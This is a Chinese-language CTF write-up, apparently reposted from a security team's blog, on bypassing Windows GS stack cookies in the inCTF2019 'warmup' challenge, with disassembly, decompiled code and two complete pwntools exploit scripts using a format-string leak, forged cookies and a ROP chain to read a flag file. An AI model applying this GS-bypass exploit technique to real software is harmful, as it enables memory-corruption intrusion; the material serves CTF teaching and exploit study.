GS
GS
保护类似与linux
的canary
保护,所以跟canary
一样是在当前ebp
位置上面的一个值。当函数结束调用时,会检测这个值是否被篡改来判断是否栈溢出
通过一个例题来了解GS是怎么进入栈的,而且跟linux
的canary
的区别
push ebp
mov ebp, esp
sub esp, 44h
mov eax, ___security_cookie
xor eax, ebp
mov [ebp+var_4], eax
call sub_F22A5E
push offset aWelcomeBanner ; "Welcome ------ Bannern"
call sub_F213A7
add esp, 4
call sub_F21AAF
push offset aDidYouMakeSome ; "Did you make something out of it ??? :"
call sub_F213A7
add esp, 4
push 0 ; lpOverlapped
push 0 ; lpNumberOfBytesRead
push 60h ; '`' ; nNumberOfBytesToRead
lea eax, [ebp+Buffer]
push eax ; lpBuffer
mov ecx, hFile
push ecx ; hFile
call ds:__imp_ReadFile
xor eax, eax
mov ecx, [ebp+var_4]
xor ecx, ebp ; StackCookie
call j_@__security_check_cookie@4 ; __security_check_cookie(x)
mov esp, ebp
pop ebp
retn
我们看到程序先开辟了函数所需要的栈空间,然后获取全局变量___security_cookie的值,并将它与ebp
的值进行异或,然后保存在当前ebp
位置上面
push ebp
mov ebp, esp
sub esp, 44h
mov eax, ___security_cookie ; 获取全局变量security_cookie的值
xor eax, ebp ; 将security_cookie的值与ebp进行异或
mov [ebp+var_4], eax ; 保存在当前ebp位置上面 也就是GS的值
然后我们看看验证部分,可以看到是将GS
的值先取出来,然后跟ebp
进行异或恢复security_cookie
的值,再进入验证函数__security_check_cookie(x)
里
xor eax, eax
mov ecx, [ebp+var_4]
xor ecx, ebp ; StackCookie
call j_@__security_check_cookie@4 ; __security_check_cookie(x)
mov esp, ebp
pop ebp
retn
与canary不同
canary是通过TLS
会在一开始时生成初始值(最后一位为00),然后加载进入[ebp-4]
的位置(通常情况),所以我们只需要泄露出来canary
那么我们便可以在linux
的程序中反复使用,因为是一个固定的值
而windows
下,GS的值是由security_cookie
(固定的)和ebp
(栈地址)进行异或加密,来实现的,所以我们泄露出来当前的GS的值,也只有在当前的栈空间可以使用,因为我们溢出是会修改到ebp
,例如:
pop ebp
retn
// 或者是
leave ebp
ret
所以,使得我们需要利用某些gadget时,因为上下文的不同,我们需要自己伪造GS的值,所以我们完全利用的话,需要泄露出来至少这三个值中两个值:GS
,security_cookie
,ebp
(也就是栈地址)
我们下面就可以通过一道例题来实操一下
inCTF2019 warmup
代码审计
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
char Buffer[64]; // [esp+0h] [ebp-44h] BYREF
sub_F22A5E();
output((int)aWelcomeBanner, Buffer[0]);
sub_F21AAF();
output((int)aDidYouMakeSome, Buffer[0]);
ReadFile(hFile, Buffer, 0x60u, 0, 0);
return 0;
}
这里有一个明显的栈溢出
ReadFile(hFile, Buffer, 0x60u, 0, 0);
然后我们看向sub_F21AAF()
函数(跳到了sub_F26B50()
函数):
int sub_F26B50()
{
HANDLE ProcessHeap; // eax
char hHeap; // [esp+0h] [ebp-2Ch]
char hHeapa; // [esp+0h] [ebp-2Ch]
char hHeapb; // [esp+0h] [ebp-2Ch]
void *lpBuffer; // [esp+4h] [ebp-28h]
char v6[24]; // [esp+8h] [ebp-24h] BYREF
int v7; // [esp+20h] [ebp-Ch]
__int16 v8; // [esp+24h] [ebp-8h]
strcpy(v6, "Tell me what you want :");
v7 = 0;
v8 = 0;
ProcessHeap = GetProcessHeap();
hHeap = (char)ProcessHeap;
lpBuffer = HeapAlloc(ProcessHeap, 8u, 0x150u);
output((int)v6, hHeap);
ReadFile(hFile, lpBuffer, 0x150u, 0, 0);
output((int)lpBuffer, hHeapa);
output((int)&unk_F83018, hHeapb);
return 0;
}
在这里也有一个信息泄露的漏洞:
ReadFile(hFile, lpBuffer, 0x150u, 0, 0);
output((int)lpBuffer, hHeapa);
我们可以通过%p来实现栈内数据打印
后门
int sub_F26C80()
{
DWORD NumberOfBytesWritten; // [esp+0h] [ebp-30h] BYREF
HANDLE hFile; // [esp+4h] [ebp-2Ch]
DWORD NumberOfBytesRead; // [esp+8h] [ebp-28h] BYREF
char Buffer[32]; // [esp+Ch] [ebp-24h] BYREF
hFile = CreateFileA(aFlag, 0x80000000, 0, 0, 3u, 0x80u, 0);
while ( ReadFile(hFile, Buffer, 0x20u, &NumberOfBytesRead, 0)
&& NumberOfBytesRead
&& WriteFile(dword_F841B0, Buffer, NumberOfBytesRead, &NumberOfBytesWritten, 0) )
;
return 0;
}
这里有个后门函数,打开了./flag
文件,就是ORW
出来
思路
所以思路就是通过泄露地址把old_ebp
(main函数的ebp
)和当前GS
给泄露出来计算security_cookie
,然后就可以把main
函数的GS
给计算出来,然后也泄露出来函数的返回地址以便我们计算程序的基址
然后我们利用main
函数的栈溢出漏洞,实现控制eip
到后门函数即可打印出来flag文件的值
exp
from turtle import back
from pwn import*
context(arch='i386', os='windows',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')
def get_p(name):
global p
# p = process(name)
p = remote("127.0.0.1",1000)
# p = remote("node5.buuoj.cn",27900)
# elf = ELF(name)
get_p("")
# pause()
p.sendlineafter("Tell me what you want :","%p%p%p%p%p%p%p%p%p%p-%p-%p-%p")
p.recvuntil("-")
security_encode = int(p.recv(8),16)
p.recvuntil("-")
ebp = int(p.recv(8),16)
p.recvuntil("-")
pie_base = int(p.recv(8),16) - 0x6d27
GS = (ebp - 0x4C) ^ security_encode
security_encode = GS ^ ebp
back_door = pie_base + 0x6C80
ll("security_cookie ==> " + hex(GS))
ll("GS ==> " + hex(security_encode))
ll("ebp ==> " + hex(ebp))
ll("pie_base ==> " + hex(pie_base))
# gdb.attach(p,"")
security_encode_2 = GS ^ (ebp+7*4)
payload = b"A"*0x40 + p32(security_encode) + p32(0) + p32(back_door)
p.sendafter("Did you make something out of it ??? :",payload)
p.interactive()
远程
但是如果你在buuctf
打远程就可以发现,这样是出不来的,原因是因为远程环境用的是flag.txt
,而不是flag
,由于我不知道远程的ucrtbase.dll
,所以这里我只能用下面这种方法:
我们现在需要的是将后门函数进行一些改造,也就是控制这块
push 0 ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 80000000h ; dwDesiredAccess
push offset aFlag ; "./flag"
call ds:__imp_CreateFileA
mov [ebp+hFile], eax
所以我们现在只需要想着如何控制”./flag
“为“./flag.txt
”,我这里直接是用栈地址去构造,我们直接向栈地址写入”./flag.txt
“,然后在栈上伪造上面的数据即是这个:
push 0 ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 80000000h ; dwDesiredAccess
然后就可以实现控制”./flag
“为“./flag.txt
”,然后就是后门函数是实现orw
读出来./flag.txt
写入
我们main函数的栈溢出漏洞,溢出的长度不够我们布置CreateFileA
函数的参数,所以我们还得构造ROP
来写入
所以我们先要利用ReadFile
函数来实现栈写入,这里用两种方法
第一种是泄露出来这个函数地址还有hfile
的值,然后才可以实现任意写
第二种是直接跳到这个代码段上:
mov ecx, hFile
push ecx ; hFile
call ds:__imp_ReadFile
mov edx, [ebp+lpBuffer]
push edx
call output
add esp, 4
push offset unk_F83018
call output
add esp, 4
xor eax, eax
mov ecx, [ebp+var_4]
xor ecx, ebp ; StackCookie
call j_@__security_check_cookie@4 ; __security_check_cookie(x)
mov esp, ebp
pop ebp
retn
然后我们在栈上伪造参数即可
我这里选择第二种,第二种因为有__security_check_cookie(x)
的检查,使得我们需要计算GS
并且控制ebp
为一个可写地址,实际上就是在栈上给ebp
找个地方就可以,这里建议是在esp的下面,函数的调用可能会使得栈的数据发送变化,改变了我们控制的值
计算我们伪造的GS
GS_2 = security_cookie ^ (ebp+7*4)
所以我们这里的payload
为
payload = b"A"*0x40 + p32(GS) + p32(ebp+7*4) + p32(gadget) + p32(ebp+8*4) + p32(0x100) + p32(0)*2 + p32(GS_2)
我们这里是这样控制栈空间的
#==================
-------- GS -------
#==================
-----fake ebp ----- 我们找的新的ebp的值
#==================
------ gadge ------ 上面的代码段地址
#==================
------ 参数二 ------ 写入的地址 就是 fake ebp + 4 的位置
#==================
------ 参数三 ------ 写入的长度
#==================
------ 参数四 ------
#================== 这两个都是原封不动的写入
------ 参数五 ------
#==================
----- fake GS ----- 我们写入的GS
#==================
------- ebp ------- fake ebp 的位置
#==================
然后我们就有足够的长度进行写入,并且构造ROP
链了
后门函数
但是这里会有个小点,函数都是依靠ebp
来索引变量值的,所以ebp
地址必须是可写可读的,所以我们上面有可能会使得ebp
地址是非法地址,所以我们需要利用gadget
来控制一下ebp
的值,这样程序才不会报错
所以我们这里的payload为:
payload = p32(pop_ebp) + p32(ebp+0x200) # 控制 ebp的地址
payload +=p32(back_door) # 控制程序执行
payload += p32(ebp + 0x48) + p32(0x80000000) + p32(0)*2 + p32(3) + p32(0x80) + p32(0) + b"./flag.txtx00" # 把CreateFileA参数压入栈
这里ebp
最好是与我们esp
远一些,不然很有可能会数据相互覆盖了
最后远程exp
from pwn import*
context(arch='i386', os='windows',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')
def get_p(name):
global p
# p = process(name)
p = remote("127.0.0.1",1000)
# p = remote("node5.buuoj.cn",27900)
# elf = ELF(name)
get_p("")
# pause()
p.sendlineafter("Tell me what you want :","%p%p%p%p%p%p%p%p%p%p-%p-%p-%p")
p.recvuntil("-")
GS = int(p.recv(8),16)
p.recvuntil("-")
ebp = int(p.recv(8),16)
p.recvuntil("-")
pie_base = int(p.recv(8),16) - 0x6d27
security_cookie = (ebp - 0x4C) ^ GS
GS = security_cookie ^ ebp
back_door = pie_base + 0x6CA7
main = pie_base + 0x6d00
hfile = 0x641a4 + pie_base
pop_ebp = pie_base + 0x6E77
gadget = pie_base + 0x6D3E
ll("security_cookie ==> " + hex(security_cookie))
ll("GS ==> " + hex(GS))
ll("ebp ==> " + hex(ebp))
ll("pie_base ==> " + hex(pie_base))
# gdb.attach(p,"")
GS_2 = security_cookie ^ (ebp+7*4)
payload = b"A"*0x40 + p32(GS) + p32(ebp+7*4) + p32(gadget) + p32(ebp+8*4) + p32(0x100) + p32(0)*2 + p32(GS_2)
p.sendafter("Did you make something out of it ??? :",payload)
payload = p32(pop_ebp) + p32(ebp+0x200) + p32(back_door) + p32(ebp + 0x48) + p32(0x80000000) + p32(0)*2 + p32(3) + p32(0x80) + p32(0) + b"./flag.txtx00"
# pause()
sleep(0.2)
p.send(payload)
p.interactive()
原文始发于微信公众号(ACT Team):[Pwn]WIN PWN–初识GS